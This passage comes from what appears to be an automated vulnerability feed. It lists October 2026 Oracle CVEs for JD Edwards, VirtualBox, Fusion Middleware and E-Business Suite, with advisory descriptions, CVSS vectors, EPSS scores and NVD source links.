Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Database and Comm SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-87312
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87312).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87312&date=2026-10-25).
Sources:
NVD CVE-2026-87312: https://nvd.nist.gov/vuln/detail/CVE-2026-87312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87312&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).
https://kevwire.com/record/CVE-2026-87313
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87313).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87313&date=2026-10-25).
Sources:
NVD CVE-2026-87313: https://nvd.nist.gov/vuln/detail/CVE-2026-87313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87313&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).
https://kevwire.com/record/CVE-2026-87314
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87314).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87314&date=2026-10-25).
Sources:
NVD CVE-2026-87314: https://nvd.nist.gov/vuln/detail/CVE-2026-87314
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87314&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-87315
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87315).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87315&date=2026-10-25).
Sources:
NVD CVE-2026-87315: https://nvd.nist.gov/vuln/detail/CVE-2026-87315
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87315&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-87316
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87316).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87316&date=2026-10-25).
Sources:
NVD CVE-2026-87316: https://nvd.nist.gov/vuln/detail/CVE-2026-87316
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87316&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).
https://kevwire.com/record/CVE-2026-87322
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows high privileged attacker with access to the physical communication segment attached to the hardware where the Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
CVSS 8.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87322).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87322&date=2026-10-25).
Sources:
NVD CVE-2026-87322: https://nvd.nist.gov/vuln/detail/CVE-2026-87322
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87322&date=2026-10-25
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows high privileged attacker with access to the physical communication segment attached to the hardware where the Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).
https://kevwire.com/record/CVE-2026-87337
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). (Oct 20, 2026).
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 10.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
CVSS 10.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87337).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87337&date=2026-10-25).
Sources:
NVD CVE-2026-87337: https://nvd.nist.gov/vuln/detail/CVE-2026-87337
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87337&date=2026-10-25
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 10.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server).
https://kevwire.com/record/CVE-2026-87346
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server). (Oct 20, 2026).
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87346).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87346&date=2026-10-25).
Sources:
NVD CVE-2026-87346: https://nvd.nist.gov/vuln/detail/CVE-2026-87346
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87346&date=2026-10-25
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).
https://kevwire.com/record/CVE-2026-87347
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module). (Oct 20, 2026).
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).
CVSS 9.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87347).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87347&date=2026-10-25).
Sources:
NVD CVE-2026-87347: https://nvd.nist.gov/vuln/detail/CVE-2026-87347
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87347&date=2026-10-25
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HTTP Server.  While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session).
https://kevwire.com/record/CVE-2026-87356
Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session). (Oct 20, 2026).
Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications Platform Engineering executes to compromise Applications Platform Engineering.  Successful attacks of this vulnerability can result in takeover of Applications Platform Engineering. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87356).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87356&date=2026-10-25).
Sources:
NVD CVE-2026-87356: https://nvd.nist.gov/vuln/detail/CVE-2026-87356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87356&date=2026-10-25
Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications Platform Engineering executes to compromise Applications Platform Engineering.  Successful attacks of this vulnerability can result in takeover of Applications Platform Engineering. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Order Capture product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-87357
Vulnerability in the Order Capture product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Order Capture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Order Capture.  Successful attacks of this vulnerability can result in takeover of Order Capture. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87357).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87357&date=2026-10-25).
Sources:
NVD CVE-2026-87357: https://nvd.nist.gov/vuln/detail/CVE-2026-87357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87357&date=2026-10-25
Vulnerability in the Order Capture product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Order Capture.  Successful attacks of this vulnerability can result in takeover of Order Capture. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-87358
Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle General Ledger accessible data as well as  unauthorized read access to a subset of Oracle General Ledger accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle General Ledger. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87358).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87358&date=2026-10-25).
Sources:
NVD CVE-2026-87358: https://nvd.nist.gov/vuln/detail/CVE-2026-87358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87358&date=2026-10-25
Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle General Ledger accessible data as well as  unauthorized read access to a subset of Oracle General Ledger accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle General Ledger. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-87359
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87359).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87359&date=2026-10-25).
Sources:
NVD CVE-2026-87359: https://nvd.nist.gov/vuln/detail/CVE-2026-87359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87359&date=2026-10-25
